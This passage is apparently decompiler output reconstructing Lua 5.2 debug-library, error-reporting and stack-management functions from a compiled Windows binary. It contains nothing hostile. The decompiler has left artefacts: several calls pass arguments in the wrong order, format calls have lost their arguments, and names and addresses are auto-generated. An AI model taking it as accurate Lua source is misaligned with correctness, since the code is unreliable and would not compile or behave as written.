-------------------------------------------------------- int __cdecl db_gethook(lua_State *L) { lua_State *v1; // edi@2 char v2; // bl@4 void (__cdecl *v3)(lua_State *, lua_Debug *); // eax@4 signed int v4; // eax@8 int v5; // eax@14 char buff[5]; // [sp+8h] [bp-Ch]@1 unsigned int v8; // [sp+10h] [bp-4h]@1 v8 = (unsigned int)buff ^ __security_cookie; if ( lua_type(L, 1) == 8 ) v1 = lua_tothread(L, 1); else v1 = L; v2 = lua_gethookmask(v1); v3 = lua_gethook(v1); if ( v3 && v3 != hookf ) { lua_pushlstring(L, "external hook", 0xDu); } else { luaL_getsubtable(L, -1001000, "_HKEY"); lua_pushthread(v1); lua_xmove(v1, L, 1); lua_rawget(L, -2); lua_remove(L, -2); } v4 = 0; if ( v2 & 1 ) { buff[0] = 99; v4 = 1; } if ( v2 & 2 ) buff[v4++] = 114; if ( v2 & 4 ) buff[v4++] = 108; buff[v4] = 0; lua_pushstring(L, buff); v5 = lua_gethookcount(v1); lua_pushinteger(L, v5); return 3; } //----- (005B1810) -------------------------------------------------------- int __cdecl db_debug(lua_State *L) { int v1; // edi@2 int v2; // esi@2 signed int v3; // ecx@2 bool v4; // zf@2 int v5; // eax@6 char v6; // cl@7 int result; // eax@12 char buffer[250]; // [sp+4h] [bp-100h]@1 unsigned int v9; // [sp+100h] [bp-4h]@1 v9 = (unsigned int)buffer ^ __security_cookie; fprintf(&unk_6B7298, "%s"); fflush(&unk_6B7298); if ( fgets(buffer, 250, &_iob) ) { do { v1 = (int)"cont\n"; v2 = (int)buffer; v3 = 6; v4 = 1; do { if ( !v3 ) break; v4 = *(_BYTE *)v2++ == *(_BYTE *)v1++; --v3; } while ( v4 ); if ( v4 ) break; v5 = (int)buffer; do v6 = *(_BYTE *)v5++; while ( v6 ); if ( luaL_loadbufferx(L, buffer, v5 - (_DWORD)&buffer[1], "=(debug command)", 0) || lua_pcallk(L, 0, 0, 0, 0, 0) ) { lua_tolstring(L, -1, 0); fprintf(&unk_6B7298, "%s\n"); fflush(&unk_6B7298); } lua_settop(L, 0); fprintf(&unk_6B7298, "%s"); fflush(&unk_6B7298); } while ( fgets(buffer, 250, &_iob) ); result = 0; } else { result = 0; } return result; } //----- (005B1970) -------------------------------------------------------- int __cdecl db_traceback(lua_State *L) { signed int v1; // edi@2 lua_State *v2; // ebx@2 int result; // eax@6 int v4; // eax@7 const char *msg; // [sp+10h] [bp-4h]@4 if ( lua_type(L, 1) == 8 ) { v1 = 1; v2 = lua_tothread(L, 1); } else { v1 = 0; v2 = L; } msg = lua_tolstring(L, v1 + 1, 0); if ( msg || lua_type(L, v1 + 1) <= 0 ) { v4 = luaL_optinteger(L, v1 + 2, L == v2); luaL_traceback(L, v2, msg, v4); result = 1; } else { lua_pushvalue(L, v1 + 1); result = 1; } return result; } //----- (005B1A10) -------------------------------------------------------- int __cdecl luaopen_debug(lua_State *L) { lua_createtable(L, 0, 16); luaL_setfuncs(L, &dblib, 0); return 1; } //----- (005B1A40) -------------------------------------------------------- int __usercall currentline(CallInfo *ci) { int result; // eax@2 if ( *(_DWORD *)(ci->func->u.i.v__.gc->ts.tsv.len + 20) ) result = *(_DWORD *)(*(_DWORD *)(ci->func->u.i.v__.gc->ts.tsv.len + 20) + 4 * ((signed int)((char *)ci->u.l.savedpc - *(_DWORD *)(ci->func->u.i.v__.gc->ts.tsv.len + 12)) >> 2) - 4); else result = 0; return result; } //----- (005B1A70) -------------------------------------------------------- int __cdecl lua_sethook(lua_State *L, void (__cdecl *func)(lua_State *, lua_Debug *), int mask, int count) { void (__cdecl *v4)(lua_State *, lua_Debug *); // esi@1 char v5; // dl@2 CallInfo *v6; // ecx@4 v4 = func; if ( !func || (v5 = mask, !mask) ) { v5 = 0; v4 = 0; } v6 = L->ci; if ( v6->callstatus & 1 ) L->oldpc = v6->u.l.savedpc; L->hook = v4; L->basehookcount = count; L->hookcount = count; L->hookmask = v5; return 1; } //----- (005B1AB0) -------------------------------------------------------- void (__cdecl *__cdecl lua_gethook(lua_State *L))(lua_State *, lua_Debug *) { return L->hook; } //----- (005B1AC0) -------------------------------------------------------- int __cdecl lua_gethookmask(lua_State *L) { return L->hookmask; } //----- (005B1AD0) -------------------------------------------------------- int __cdecl lua_gethookcount(lua_State *L) { return L->basehookcount; } //----- (005B1AE0) -------------------------------------------------------- int __cdecl lua_getstack(lua_State *L, int level, lua_Debug *ar) { int v3; // eax@1 int result; // eax@2 bool v5; // zf@3 CallInfo *v6; // ecx@3 v3 = level; if ( level >= 0 ) { v5 = level == 0; v6 = L->ci; if ( level > 0 ) { do { if ( v6 == &L->base_ci ) break; v6 = v6->previous; --v3; } while ( v3 > 0 ); v5 = v3 == 0; } if ( v5 && v6 != &L->base_ci ) { result = 1; ar->i_ci = v6; } else { result = 0; } } else { result = 0; } return result; } //----- (005B1B30) -------------------------------------------------------- const char *__usercall findlocal(CallInfo *ci, int n, lua_State *L, lua_TValue **pos) { int v4; // edi@1 int v5; // ecx@3 const char *result; // eax@4 lua_TValue *v7; // ebx@6 lua_TValue *v8; // eax@8 v4 = n; if ( !(ci->callstatus & 1) ) { v7 = ci->func + 1; goto LABEL_7; } if ( n >= 0 ) { v7 = ci->u.l.base; result = luaF_getlocalname( (Proto *)ci->func->u.i.v__.gc->ts.tsv.len, n, ((signed int)((char *)ci->u.l.savedpc - *(_DWORD *)(ci->func->u.i.v__.gc->ts.tsv.len + 12)) >> 2) - 1); if ( result ) { LABEL_14: *pos = &v7[v4 - 1]; return result; } LABEL_7: if ( ci == L->ci ) v8 = L->top; else v8 = ci->next->func; if ( (signed int)(v8 - v7) < v4 || v4 <= 0 ) return 0; result = "(*temporary)"; goto LABEL_14; } v5 = *(_BYTE *)(ci->func->u.i.v__.gc->ts.tsv.len + 76); if ( -n >= (signed int)(ci->u.l.base - ci->func - v5) ) return 0; *pos = &ci->func[v5 - n]; return "(*vararg)"; } //----- (005B1BE0) -------------------------------------------------------- const char *__cdecl lua_getlocal(lua_State *L, lua_Debug *ar, int n) { lua_TValue *v3; // eax@2 const char *result; // eax@3 CallInfo *v5; // esi@5 lua_Debug *v6; // ecx@6 lua_TValue *v7; // edx@6 if ( ar ) { v5 = ar->i_ci; ar = 0; result = findlocal(L, v5, n, (lua_TValue **)&ar); if ( result ) { v6 = ar; v7 = L->top; v7->u.i.v__.gc = (GCObject *)ar->event; v7->u.i.tt__ = (int)v6->name; ++L->top; } } else { v3 = L->top; if ( *((_DWORD *)v3 - 1) == 2146936134 ) result = luaF_getlocalname((Proto *)v3[-1].u.i.v__.gc->ts.tsv.len, n, 0); else result = 0; } return result; } //----- (005B1C60) -------------------------------------------------------- const char *__cdecl lua_setlocal(lua_State *L, lua_Debug *ar, int n) { void *v3; // ecx@0 CallInfo *v4; // esi@1 const char *result; // eax@1 lua_TValue *v6; // edx@2 void *v7; // ecx@2 void *pos; // [sp+0h] [bp-4h]@1 pos = v3; v4 = ar->i_ci; pos = 0; result = findlocal(L, v4, n, (lua_TValue **)&pos); if ( result ) { v6 = L->top; v7 = pos; *(_DWORD *)pos = v6[-1].u.i.v__.gc; *((_DWORD *)v7 + 1) = *((_DWORD *)v6 - 1); } --L->top; return result; } //----- (005B1CB0) -------------------------------------------------------- void __usercall funcinfo(lua_Debug *ar, Closure *cl) { int (__cdecl *v2)(lua_State *); // ecx@3 int v3; // edx@3 const char *v4; // edx@4 int v5; // edx@6 const char *v6; // ecx@6 const char *v7; // edx@8 const char *v8; // edx@9 if ( cl && cl->c.tt != 38 ) { v2 = cl->c.f; v3 = *((_DWORD *)v2 + 9); if ( v3 ) v4 = (const char *)(v3 + 16); else v4 = "=?"; ar->source = v4; v5 = *((_DWORD *)v2 + 16); ar->linedefined = v5; ar->lastlinedefined = *((_DWORD *)v2 + 17); v6 = "main"; if ( v5 ) v6 = "Lua"; v7 = ar->source; ar->what = v6; luaO_chunkid(ar->short_src, v7, 0x3Cu); } else { ar->source = "=[C]"; v8 = ar->source; ar->linedefined = -1; ar->lastlinedefined = -1; ar->what = "C"; luaO_chunkid(ar->short_src, v8, 0x3Cu); } } //----- (005B1D30) -------------------------------------------------------- void __usercall collectvalidlines(lua_State *L, Closure *f) { Table *v2; // ebp@3 lua_TValue *v3; // eax@3 lua_TValue *v4; // edx@3 int (__cdecl *v5)(lua_State *); // eax@5 int v6; // edi@5 lua_TValue *v7; // eax@8 char *v8; // ecx@8 int lineinfo; // [sp+4h] [bp-Ch]@3 int v; // [sp+8h] [bp-8h]@5 int v11; // [sp+Ch] [bp-4h]@5 if ( f && f->c.tt != 38 ) { lineinfo = *((_DWORD *)f->c.f + 5); v2 = luaH_new(L); v3 = L->top; v3->u.i.v__.gc = (GCObject *)v2; v3->u.i.tt__ = 2146936133; v4 = L->top + 1; L->top = v4; if ( (signed int)((unsigned int)((char *)L->stack_last - (char *)v4) & 0xFFFFFFF8) <= 0 ) luaD_growstack(L, 0); v5 = f->c.f; v = 1; v11 = 2146936065; v6 = 0; if ( *((_DWORD *)v5 + 13) > 0 ) { do luaH_setint(L, v2, *(_DWORD *)(lineinfo + 4 * v6++), (lua_TValue *)&v); while ( v6 < *((_DWORD *)f->c.f + 13) ); } } else { L->top->u.i.tt__ = 2146936064; v7 = L->top + 1; v8 = (char *)((char *)L->stack_last - (char *)v7); L->top = v7; if ( (signed int)((unsigned int)v8 & 0xFFFFFFF8) <= 0 ) luaD_growstack(L, 0); } } //----- (005B1E10) -------------------------------------------------------- void __usercall kname(Proto *p, int c, const char **name, int pc) { lua_TValue *v4; // ecx@2 int v5; // eax@2 int v6; // edx@2 int v7; // eax@2 const char *v8; // eax@4 if ( BYTE1(c) & 1 ) { v4 = p->k; v5 = c & 0xFFFFFEFF; v6 = v4[v5].u.i.tt__; v7 = (int)&v4[v5]; if ( (v6 | 0x70) == 2146936180 ) { *name = (const char *)(*(_DWORD *)v7 + 16); return; } goto LABEL_6; } v8 = getobjname(p, pc, c, name); if ( !v8 || *v8 != 99 ) LABEL_6: *name = "?"; } //----- (005B1E60) -------------------------------------------------------- int __cdecl findsetreg(Proto *p, int lastpc, int reg) { int result; // eax@1 int v4; // edi@1 unsigned int v5; // ecx@3 int v6; // esi@3 int v7; // edx@3 int v8; // ecx@10 int v9; // edx@10 unsigned int *v10; // [sp+8h] [bp-4h]@2 result = -1; v4 = 0; if ( lastpc > 0 ) { v10 = p->code; do { v5 = v10[v4]; v6 = v10[v4] & 0x3F; v7 = (v10[v4] >> 6) & 0xFF; switch ( v6 ) { case 4: if ( v7 <= reg && reg <= (signed int)(v7 + (v5 >> 23)) ) goto LABEL_15; break; case 34: v7 += 2; goto $L3019; case 29: case 30: $L3019: if ( reg >= v7 ) goto LABEL_15; break; case 23: v8 = (v5 >> 14) - 131071; v9 = v8 + v4 + 1; if ( v4 < v9 && v9 <= lastpc ) v4 += v8; break; default: if ( luaP_opmodes[v6] & 0x40 ) goto $L3027; break; case 27: $L3027: if ( reg == v7 ) LABEL_15: result = v4; break; } ++v4; } while ( v4 < lastpc ); } return result; } //----- (005B1F40) -------------------------------------------------------- const char *__cdecl getobjname(Proto *p, int lastpc, int reg, const char **name) { int v4; // ebp@1 int v5; // edi@1 const char *v6; // eax@1 int v7; // eax@2 unsigned int v8; // eax@3 unsigned int v9; // ecx@3 const char *v10; // eax@5 const char *result; // eax@6 int v12; // ebp@7 unsigned int v13; // eax@7 const char *v14; // eax@8 TString *v15; // eax@9 const char *v16; // esi@13 int v17; // edi@14 signed int v18; // ecx@14 bool v19; // zf@14 TString *v20; // eax@19 unsigned int v21; // eax@23 lua_TValue *v22; // ecx@25 int v23; // edx@25 int v24; // eax@25 const char *rega; // [sp+1Ch] [bp+Ch]@10 v4 = reg; v5 = lastpc; v6 = luaF_getlocalname(p, reg + 1, lastpc); *name = v6; if ( v6 ) { LABEL_6: result = "local"; } else { while ( 2 ) { v7 = findsetreg(p, v5, v4); v5 = v7; if ( v7 == -1 ) { LABEL_28: result = 0; } else { v8 = p->code[v7]; v9 = p->code[v5] & 0x3F; switch ( v9 ) { case 0u: if ( (signed int)(v8 >> 23) >= (signed int)((v8 >> 6) & 0xFF) ) goto LABEL_28; v4 = v8 >> 23; v10 = luaF_getlocalname(p, (v8 >> 23) + 1, v5); *name = v10; if ( v10 ) goto LABEL_6; continue; case 6u: case 7u: v12 = (v8 >> 14) & 0x1FF; v13 = v8 >> 23; if ( v9 == 7 ) { v14 = luaF_getlocalname(p, v13 + 1, v5); } else { v15 = p->upvalues[v13].name; if ( !v15 ) { rega = "?"; goto LABEL_13; } v14 = (const char *)&v15[1]; } rega = v14; LABEL_13: kname(p, v5, v12, name); v16 = rega; if ( !rega ) goto LABEL_31; v17 = (int)"_ENV"; v18 = 5; v19 = 1; do { if ( !v18 ) break; v19 = *v16++ == *(_BYTE *)v17++; --v18; } while ( v19 ); result = "global"; if ( !v19 ) LABEL_31: result = "field"; break; case 5u: v20 = p->upvalues[v8 >> 23].name; if ( v20 ) { *name = (const char *)&v20[1]; result = "upvalue"; } else { *name = "?"; result = "upvalue"; } return result; case 1u: case 2u: if ( v9 == 1 ) v21 = v8 >> 14; else v21 = p->code[v5 + 1] >> 6; v22 = p->k; v23 = v22[v21].u.i.tt__; v24 = (int)&v22[v21]; if ( (v23 | 0x70) != 2146936180 ) goto LABEL_28; *name = (const char *)(*(_DWORD *)v24 + 16); return "constant"; case 0xCu: kname(p, v5, (v8 >> 14) & 0x1FF, name); return "method"; default: goto LABEL_28; } } break; } } return result; } //----- (005B2100) -------------------------------------------------------- const char *__usercall getfuncname(CallInfo *ci, const char **name, lua_State *L) { unsigned int v3; // edx@1 int v4; // ecx@1 signed int v5; // eax@1 unsigned int v6; // ecx@1 int v7; // eax@1 const char *result; // eax@2 signed int v9; // eax@4 v3 = ci->func->u.i.v__.gc->ts.tsv.len; v4 = *(_DWORD *)(v3 + 12); v5 = (signed int)((char *)ci->u.l.savedpc - v4) >> 2; v6 = *(_DWORD *)(v4 + 4 * v5 - 4); v7 = v5 - 1; switch ( v6 & 0x3F ) { case 0x1Du: case 0x1Eu: return getobjname((Proto *)v3, v7, (v6 >> 6) & 0xFF, name); case 0x22u: *name = "for iterator"; return "for iterator"; case 6u: case 7u: case 0xCu: v9 = 0; goto LABEL_18; case 8u: case 0xAu: v9 = 1; goto LABEL_18; case 0x18u: v9 = 5; goto LABEL_18; case 0xDu: v9 = 6; goto LABEL_18; case 0xEu: v9 = 7; goto LABEL_18; case 0xFu: v9 = 8; goto LABEL_18; case 0x10u: v9 = 9; goto LABEL_18; case 0x11u: v9 = 10; goto LABEL_18; case 0x12u: v9 = 11; goto LABEL_18; case 0x13u: v9 = 12; goto LABEL_18; case 0x15u: v9 = 4; goto LABEL_18; case 0x19u: v9 = 13; goto LABEL_18; case 0x1Au: v9 = 14; goto LABEL_18; case 0x16u: v9 = 15; LABEL_18: *name = (const char *)&L->l_G->tmname[v9][1]; result = "metamethod"; break; default: result = 0; break; } return result; } //----- (005B2240) -------------------------------------------------------- const char *__usercall getupvalname(CallInfo *ci, lua_TValue *o, const char **name) { GCObject *v3; // esi@1 int v4; // ecx@1 int v5; // eax@1 int v6; // edx@2 const char *result; // eax@5 int v8; // eax@6 v3 = ci->func->u.i.v__.gc; v4 = *(&v3->gch.marked + 1); v5 = 0; if ( v4 <= 0 ) { LABEL_5: result = 0; } else { v6 = (int)&v3->u.uv.len; while ( *(lua_TValue **)(*(_DWORD *)v6 + 8) != o ) { ++v5; v6 += 4; if ( v5 >= v4 ) goto LABEL_5; } v8 = *(_DWORD *)(*(_DWORD *)(v3->ts.tsv.len + 28) + 8 * v5); if ( v8 ) { *name = (const char *)(v8 + 16); result = "upvalue"; } else { *name = "?"; result = "upvalue"; } } return result; } //----- (005B22A0) -------------------------------------------------------- void __usercall addinfo(lua_State *L, const char *msg) { CallInfo *v2; // eax@1 int v3; // edx@2 char buff[60]; // [sp+0h] [bp-40h]@1 unsigned int v5; // [sp+3Ch] [bp-4h]@1 v5 = (unsigned int)buff ^ __security_cookie; v2 = L->ci; if ( v2->callstatus & 1 ) { v3 = *(_DWORD *)(v2->func->u.i.v__.gc->ts.tsv.len + 36); if ( v3 ) { luaO_chunkid(buff, (const char *)(v3 + 16), 0x3Cu); } else { buff[0] = 63; buff[1] = 0; } luaO_pushfstring(L, "%s:%d: %s"); } } //----- (005B2330) -------------------------------------------------------- void __cdecl luaG_errormsg(lua_State *L) { int v1; // eax@1 char *v2; // ecx@2 lua_TValue *v3; // eax@4 lua_TValue *v4; // eax@4 lua_TValue *v5; // edx@4 v1 = L->errfunc; if ( v1 ) { v2 = (char *)L->stack + v1; if ( (*((_DWORD *)v2 + 1) | 0x70) != 2146936182 ) luaD_throw(L, 6); v3 = L->top; v3->u.i.v__.gc = v3[-1].u.i.v__.gc; v3->u.i.tt__ = *((_DWORD *)v3 - 1); v4 = L->top; v4[-1].u.i.v__.gc = *(GCObject **)v2; *((_DWORD *)v4 - 1) = *((_DWORD *)v2 + 1); v5 = L->top + 1; L->top = v5; if ( (signed int)((unsigned int)((char *)L->stack_last - (char *)v5) & 0xFFFFFFF8) <= 0 ) luaD_growstack(L, 0); luaD_call(L, L->top - 2, 1, 0); } luaD_throw(L, 2); } //----- (005B23C0) -------------------------------------------------------- void __cdecl luaG_runerror(lua_State *L, const char *fmt) { const char *v2; // eax@1 char argp; // [sp+14h] [bp+Ch]@0 v2 = luaO_pushvfstring(L, fmt, &argp); addinfo(L, v2); luaG_errormsg(L); } //----- (005B23F0) -------------------------------------------------------- int __usercall auxgetinfo(lua_Debug *ar, Closure *f, lua_State *L, const char *what, CallInfo *ci) { const char v5; // al@1 char v6; // al@9 char v7; // al@15 CallInfo *v8; // eax@20 const char *v9; // eax@26 int result; // eax@27 int status; // [sp+4h] [bp-4h]@1 v5 = *what; status = 1; if ( *what ) { do { switch ( v5 ) { case 83: funcinfo(ar, f); break; case 108: if ( ci && ci->callstatus & 1 ) ar->currentline = currentline(ci); else ar->currentline = -1; break; case 117: if ( f ) v6 = f->c.nupvalues; else v6 = 0; ar->nups = v6; if ( f && f->c.tt != 38 ) { ar->isvararg = *((_BYTE *)f->c.f + 77); ar->nparams = *((_BYTE *)f->c.f + 76); } else { ar->isvararg = 1; ar->nparams = 0; } break; case 116: v7 = 0; if ( ci ) v7 = ci->callstatus & 0x40; ar->istailcall = v7; break; case 110: if ( ci && !(ci->callstatus & 0x40) && (v8 = ci->previous, v8->callstatus & 1) ) ar->namewhat = getfuncname(L, v8, &ar->name); else ar->namewhat = 0; if ( !ar->namewhat ) { ar->namewhat = byte_635E1E; ar->name = 0; } break; default: status = 0; break; case 76: case 102: break; } v9 = what + 1; what = v9; v5 = *v9; } while ( v5 ); result = status; } else { result = 1; } return result; } //----- (005B2560) -------------------------------------------------------- int __cdecl lua_getinfo(lua_State *L, const char *what, lua_Debug *ar) { const char *v3; // edx@1 lua_TValue *v4; // ebp@2 CallInfo *v5; // eax@2 char v6; // si@5 Closure *v7; // ebx@8 lua_TValue *v8; // edx@11 lua_TValue *v9; // edx@11 int status; // [sp+10h] [bp-4h]@10 v3 = what; if ( *what == 62 ) { v4 = L->top - 1; v5 = 0; v3 = what++ + 1; L->top = v4; } else { v5 = ar->i_ci; v4 = v5->func; } if ( (v4->u.i.tt__ & 0x7FFFFF00) == 2146936064 ) v6 = v4->u.i.tt__; else v6 = 3; if ( (v6 & 0x1F) == 6 ) v7 = (Closure *)v4->u.i.v__.gc; else v7 = 0; status = auxgetinfo(L, v3, ar, v7, v5); if ( strchr(what, 102) ) { v8 = L->top; v8->u.i.v__.gc = v4->u.i.v__.gc; v8->u.i.tt__ = v4->u.i.tt__; v9 = L->top + 1; L->top = v9; if ( (signed int)((unsigned int)((char *)L->stack_last - (char *)v9) & 0xFFFFFFF8) <= 0 ) luaD_growstack(L, 0); } if ( strchr(what, 76) ) collectvalidlines(L, v7); return status; } //----- (005B2640) -------------------------------------------------------- void __cdecl luaG_typeerror(lua_State *L, lua_TValue *o, const char *op) { lua_State *v3; // ebp@1 CallInfo *v4; // esi@1 lua_TValue *v5; // edi@1 lua_TValue *v6; // ecx@3 lua_TValue *v7; // eax@3 v3 = L; v4 = L->ci; v5 = o; L = 0; if ( v4->callstatus & 1 ) { if ( getupvalname(v4, o, (const char **)&L) ) goto LABEL_11; v6 = v4->top; v7 = v4->u.l.base; if ( v7 < v6 ) { while ( v5 != v7 ) { ++v7; if ( v7 >= v6 ) goto LABEL_6; } if ( getobjname( (Proto *)v4->func->u.i.v__.gc->ts.tsv.len, ((signed int)((char *)v4->u.l.savedpc - *(_DWORD *)(v4->func->u.i.v__.gc->ts.tsv.len + 12)) >> 2) - 1, v5 - v4->u.l.base, (const char **)&L) ) LABEL_11: luaG_runerror(v3, "attempt to %s %s '%s' (a %s value)"); } } LABEL_6: luaG_runerror(v3, "attempt to %s a %s value"); } //----- (005B2710) -------------------------------------------------------- void __cdecl luaG_concaterror(lua_State *L, lua_TValue *p1, lua_TValue *p2) { lua_TValue *v3; // ecx@1 v3 = p1; if ( (p1->u.i.tt__ | 0x70) == 2146936180 || (p1->u.i.tt__ & 0x7FFFFF00) != 2146936064 ) v3 = p2; luaG_typeerror(L, v3, "concatenate"); } //----- (005B2750) -------------------------------------------------------- void __cdecl luaG_aritherror(lua_State *L, lua_TValue *p1, lua_TValue *p2) { bool v3; // zf@1 lua_TValue *v4; // eax@1 lua_TValue temp; // [sp+4h] [bp-8h]@1 v3 = luaV_tonumber(p1, &temp) == 0; v4 = p1; if ( !v3 ) v4 = p2; luaG_typeerror(L, v4, "perform arithmetic on"); } //----- (005B2790) -------------------------------------------------------- void __cdecl luaG_ordererror(lua_State *L, lua_TValue *p1, lua_TValue *p2) { int v3; // eax@1 int v4; // ecx@3 char *v5; // eax@3 v3 = p1->u.i.tt__; if ( (p1->u.i.tt__ & 0x7FFFFF00) != 2146936064 ) LOBYTE(v3) = 3; v4 = p2->u.i.tt__; v5 = off_682728[v3 & 0xF]; if ( (p2->u.i.tt__ & 0x7FFFFF00) != 2146936064 ) LOBYTE(v4) = 3; if ( v5 == off_682728[v4 & 0xF] ) luaG_runerror(L, "attempt to compare two %s values"); luaG_runerror(L, "attempt to compare %s with %s"); } // 682728: using guessed type char *off_682728[11]; //----- (005B2820) -------------------------------------------------------- void __usercall seterrorobj(lua_State *L, int errcode, lua_TValue *oldtop) { int v3; // eax@1 lua_TValue *v4; // esi@1 lua_TValue *v5; // eax@3 TString *v6; // eax@4 TString *v7; // eax@5 v3 = errcode - 4; v4 = oldtop; if ( v3 ) { if ( v3 == 2 ) { v6 = luaS_newlstr(L, "error in error handling", 0x17u); v4->u.i.v__.gc = (GCObject *)v6; v4->u.i.tt__ = BYTE4(v6->dummy.u) | 0x7FF7A540; L->top = v4 + 1; } else { v5 = L->top; oldtop->u.i.v__.gc = v5[-1].u.i.v__.gc; oldtop->u.i.tt__ = *((_DWORD *)v5 - 1); L->top = oldtop + 1; } } else { v7 = L->l_G->memerrmsg; oldtop->u.i.v__.gc = (GCObject *)v7; oldtop->u.i.tt__ = BYTE4(v7->dummy.u) | 0x7FF7A540; L->top = oldtop + 1; } } //----- (005B2890) -------------------------------------------------------- void __cdecl luaD_throw(lua_State *L, int errcode) { lua_State *i; // eax@1 global_State *v3; // edx@2 lua_State *v4; // esi@3 lua_TValue *v5; // edx@3 int v6; // ecx@3 int (__cdecl *v7)(lua_State *); // ecx@5 for ( i = L; !i->errorJmp; i = i->l_G->mainthread ) { v3 = i->l_G; i->status = errcode; if ( !v3->mainthread->errorJmp ) { v7 = i->l_G->panic; if ( v7 ) v7(i); abort(); } v4 = v3->mainthread; v5 = v4->top; v6 = (int)&i->top[-1]; v4->top = v5 + 1; v5->u.i.v__.gc = *(GCObject **)v6; v5->u.i.tt__ = *(_DWORD *)(v6 + 4); } i->errorJmp->status = errcode; longjmp(i->errorJmp->b, 1); } //----- (005B2910) -------------------------------------------------------- int __cdecl luaD_rawrunprotected(lua_State *L, void (__cdecl *f)(lua_State *, void *), void *ud) { int v3; // ecx@1 unsigned __int16 v4; // dx@3 int result; // eax@3 lua_longjmp *lj; // [sp+4h] [bp-4Ch]@1 char v7; // [sp+8h] [bp-48h]@1 int v8; // [sp+48h] [bp-8h]@1 int oldnCcalls; // [sp+4Ch] [bp-4h]@1 v3 = L->nCcalls; lj = L->errorJmp; v8 = 0; oldnCcalls = v3; L->errorJmp = (lua_longjmp *)&lj; if ( !_setjmp3(&v7, 0) ) f(L, ud); v4 = oldnCcalls; result = v8; L->errorJmp = lj; L->nCcalls = v4; return result; } //----- (005B2A00) -------------------------------------------------------- void __cdecl luaD_reallocstack(lua_State *L, int newsize) { GCObject *i; // eax@5 CallInfo *j; // eax@7 bool v4; // zf@8 void *v5; // ebp@1 int v6; // edi@1 lua_TValue *v7; // eax@5 v5 = L->stack; v6 = L->stacksize; if ( (unsigned int)(newsize + 1) > 0x1FFFFFFF ) luaM_toobig(L); for ( L->stack = (lua_TValue *)luaM_realloc_(L, v5, 8 * v6, 8 * newsize); v6 < newsize; ++v6 ) L->stack[v6].u.i.tt__ = 2146936064; v7 = &L->stack[newsize - 5]; L->stacksize = newsize; L->stack_last = v7; L->top = &L->stack[(signed int)((char *)L->top - (char *)v5) >> 3]; for ( i = L->openupval; i; i = i->gch.next ) i->ts.tsv.hash = (unsigned int)&L->stack[(signed int)(i->ts.tsv.hash - (signed int)v5) >> 3]; for ( j = L->ci; j; j = j->previous ) { j->top = &L->stack[(signed int)((char *)j->top - (char *)v5) >> 3]; v4 = (j->callstatus & 1) == 0; j->func = &L->stack[(signed int)((char *)j->func - (char *)v5) >> 3]; if ( !v4 ) j->u.l.base = &L->stack[(signed int)((char *)j->u.l.base - (char *)v5) >> 3]; } } //----- (005B2A70) -------------------------------------------------------- void __cdecl luaD_growstack(lua_State *L, int n) { int v2; // eax@1 int v3; // eax@3 v2 = L->stacksize; if ( v2 > 1000000 ) luaD_throw(L, 6); v3 = 2 * v2; if ( v3 > 1000000 ) v3 = 1000000; if ( v3 < (signed int)(L->top - L->stack + n + 5) ) v3 = L->top - L->stack + n + 5; if ( v3 > 1000000 ) { luaD_reallocstack(L, 1000200); luaG_runerror(L, "stack overflow"); } luaD_reallocstack(L, v3); } //----- (005B2AE0) -------------------------------------------------------- void __cdecl luaD_shrinkstack(lua_State *L) { CallInfo *v1; // ecx@1 lua_TValue *i; // eax@1 signed int v3; // ecx@5 int v4; // eax@5 v1 = L->ci; for ( i = L->top; v1; v1 = v1->previous ) { if ( i < v1->top ) i = v1->top; } v3 = i - L->stack + 1; v4 = v3 / 8 + v3 + 10; if ( v4 > 1000000 ) v4 = 1000000; if ( v3 <= 1000000 ) { if ( v4 < L->stacksize ) luaD_reallocstack(L, v4); } } //----- (005B2B40) -------------------------------------------------------- void __cdecl luaD_hook(lua_State *L, int event, int line) { void *v3; // edx@1 lua_TValue *v4; // eax@3 lua_TValue *v5; // ecx@3 CallInfo *v6; // edi@3 int v7; // ebp@3 int v8; // ebx@3 unsigned int v9; // ecx@3 char *v10; // edx@5 void *hook; // [sp+4h] [bp-6Ch]@1 int ar; // [sp+8h] [bp-68h]@3 int v13; // [sp+1Ch] [bp-54h]@3 CallInfo *v14; // [sp+68h] [bp-8h]@3 unsigned int v15; // [sp+6Ch] [bp-4h]@1 v3 = L->hook; v15 = (unsigned int)&hook ^ __security_cookie; hook = v3; if ( v3 && L->allowhook ) { v4 = L->top; v5 = L->stack; v6 = L->ci; v7 = (char *)v6->top - (char *)v5; v8 = (char *)v4 - (char *)v5; ar = event; v13 = line; v9 = (unsigned int)((char *)L->stack_last - (char *)v4) & 0xFFFFFFF8; v14 = v6; if ( (signed int)v9 <= 160 ) { luaD_growstack(L, 20); v3 = hook; } v6->top = L->top + 20; L->allowhook = 0; v6->callstatus |= 2u; ((void (__cdecl *)(lua_State *, int *))v3)(L, &ar); v10 = (char *)L->stack + v7; L->allowhook = 1; v6->top = (lua_TValue *)v10; L->top = (lua_TValue *)((char *)L->stack + v8); v6->callstatus &= 0xFDu; } } //----- (005B2C10) -------------------------------------------------------- lua_TValue *__usercall adjust_varargs(lua_State *L, Proto *p, int actual) { int v3; // edx@1 lua_TValue *result; // eax@1 lua_TValue *v5; // ecx@1 int v6; // edi@2 lua_TValue *v7; // edx@3 v3 = p->numparams; result = L->top; v5 = &L->top[-actual]; if ( v3 > 0 ) { v6 = v3; do { v7 = L->top; L->top = v7 + 1; v7->u.i.v__.gc = v5->u.i.v__.gc; v7->u.i.tt__ = v5->u.i.tt__; v5->u.i.tt__ = 2146936064; ++v5; --v6; } while ( v6 ); } return result; } //----- (005B2C60) -------------------------------------------------------- lua_TValue *__usercall tryfuncTM(lua_State *L, lua_TValue *func) { lua_TValue *v2; // edi@1 lua_TValue *v3; // ebx@1 unsigned int v4; // ebp@1 lua_TValue *v5; // eax@3 int v6; // ecx@4 lua_TValue *v7; // eax@6 char *v8; // ecx@6 lua_TValue *result; // eax@8 v2 = func; v3 = luaT_gettmbyobj(L, func, TM_CALL); v4 = (char *)v2 - (char *)L->stack; if ( (v3->u.i.tt__ | 0x70) != 2146936182 ) luaG_typeerror(L, v2, "call"); v5 = L->top; if ( v5 > v2 ) { v6 = (int)&v5[-1]; do { v5->u.i.v__.gc = *(GCObject **)v6; v5->u.i.tt__ = *(_DWORD *)(v6 + 4); --v5; v6 -= 8; } while ( v5 > v2 ); } v7 = L->top + 1; v8 = (char *)((char *)L->stack_last - (char *)v7); L->top = v7; if ( (signed int)((unsigned int)v8 & 0xFFFFFFF8) <= 0 ) luaD_growstack(L, 0); result = (lua_TValue *)((char *)L->stack + v4); result->u.i.v__.gc = v3->u.i.v__.gc; result->u.i.tt__ = v3->u.i.tt__; return result; } //----- 